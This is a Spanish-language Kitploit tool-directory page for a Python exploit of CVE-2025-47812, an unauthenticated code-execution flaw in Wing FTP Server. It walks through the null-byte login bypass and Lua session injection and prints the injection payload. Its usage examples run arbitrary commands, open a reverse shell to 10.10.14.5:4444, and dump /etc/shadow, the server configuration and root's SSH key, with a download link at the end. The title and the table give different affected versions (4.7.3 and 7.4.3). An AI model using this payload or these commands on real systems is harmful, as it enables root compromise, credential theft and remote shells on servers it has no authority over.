Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-47812 — RCE para WingFTP v4.7.3 | Kitploit
Herramientas/GitHubGitHub/popyue/cve-2025-47812
ExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubpopyue/cve-2025-47812

CVE-2025-47812

RCE para WingFTP v4.7.3

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-47812 — Wing FTP Server RCE sin autenticación

root@kitploit:~
 ██╗    ██╗██╗███╗   ██╗ ██████╗     ███████╗████████╗██████╗
 ██║    ██║██║████╗  ██║██╔════╝     ██╔════╝╚══██╔══╝██╔══██╗
 ██║ █╗ ██║██║██╔██╗ ██║██║  ███╗    █████╗     ██║   ██████╔╝
 ██║███╗██║██║██║╚██╗██║██║   ██║    ██╔══╝     ██║   ██╔═══╝
 ╚███╔███╔╝██║██║ ╚████║╚██████╔╝    ██║        ██║   ██║
  ╚══╝╚══╝ ╚═╝╚═╝  ╚═══╝ ╚═════╝     ╚═╝        ╚═╝   ╚═╝

Resumen

CampoDetalle
CVECVE-2025-47812
AfectadoWing FTP Server <= 7.4.3
CorregidoWing FTP Server 7.4.4
CVSS10.0 (Crítico)
Autenticación requeridaNinguna (inicio de sesión anónimo suficiente)
Privilegio obtenidoroot (Linux) / NT AUTHORITY\SYSTEM (Windows)
Descubierto porJulien Ahrens (@MrTuxracer) — rcesecurity.com

Descripción de la vulnerabilidad

La interfaz web de Wing FTP Server es vulnerable a un ataque de ejecución remota de código en dos etapas sin autenticación previa.

Etapa 1 — Omisión de autenticación por byte nulo + Inyección de código Lua

La función c_CheckUser() en el binario de Wing FTP utiliza strlen() internamente, lo que trunca la cadena del nombre de usuario en el primer byte nulo (\x00). Esto significa que un nombre de usuario como anonymous%00<datos_arbitrarios> pasa la autenticación siempre que anonymous (o cualquier usuario válido) exista.

Después de que la autenticación se completa, loginok.html llama a rawset(_SESSION, "username", username) usando el parámetro POST completo sin sanitizar — incluyendo todo después del byte nulo. La sesión se serializa luego a un archivo de script Lua en disco mediante SessionModule.save().

Dado que la función de serialización envuelve los valores de cadena en literales de cadena larga de Lua [[...]] sin ninguna sanitización, inyectar ]] en el nombre de usuario termina el literal de cadena prematuramente, permitiendo añadir código Lua arbitrario al archivo de sesión.

Estructura del payload:

root@kitploit:~
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--

El -- final comenta el ]] que Wing FTP añade después del valor.

Etapa 2 — Activación mediante un endpoint autenticado

El archivo de sesión (nombrado según el valor de la cookie UID) es un script Lua que se ejecuta mediante loadfile() + f() cada vez que se accede a cualquier endpoint autenticado. Enviar POST /dir.html con la cookie UID ejecuta el Lua inyectado y devuelve la salida del comando en el cuerpo de la respuesta, antes del contenido <?xml.


Requisitos

  • Python 3.10+
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Uso

root@kitploit:~
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
                      [--verify-ssl]
                      [--cmd CMD | --shell | --revshell | --dump]
                      [--lhost IP] [--lport PORT] [--listen]
                      target

Ejemplos

root@kitploit:~
# Comando único
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"

# Apuntar por IP (Wing FTP usa enrutamiento por virtual-host — proporcione el nombre de host con --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"

# Pseudo-shell interactiva
python3 CVE-2025-47812.py http://ftp.target.com --shell

# Reverse shell (iniciar listener de nc por separado)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444

# Reverse shell con listener incorporado
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444

# Volcar archivos sensibles (/etc/passwd, /etc/shadow, Wing.cfg, clave SSH de root)
python3 CVE-2025-47812.py http://ftp.target.com --dump

# Con credenciales no anónimas
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"

Corrección

Actualice Wing FTP Server a la versión 7.4.4 o posterior.


Referencias

  • Artículo original: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
  • Relacionados: CVE-2025-47811 (privilegios de servicio excesivamente permisivos), CVE-2025-47813 (divulgación de ruta mediante cookie UID demasiado larga)

Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y pruebas de penetración autorizadas. Ejecutar este exploit contra sistemas que no posee o para los cuales no tiene permiso explícito por escrito es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso.

Descargar herramienta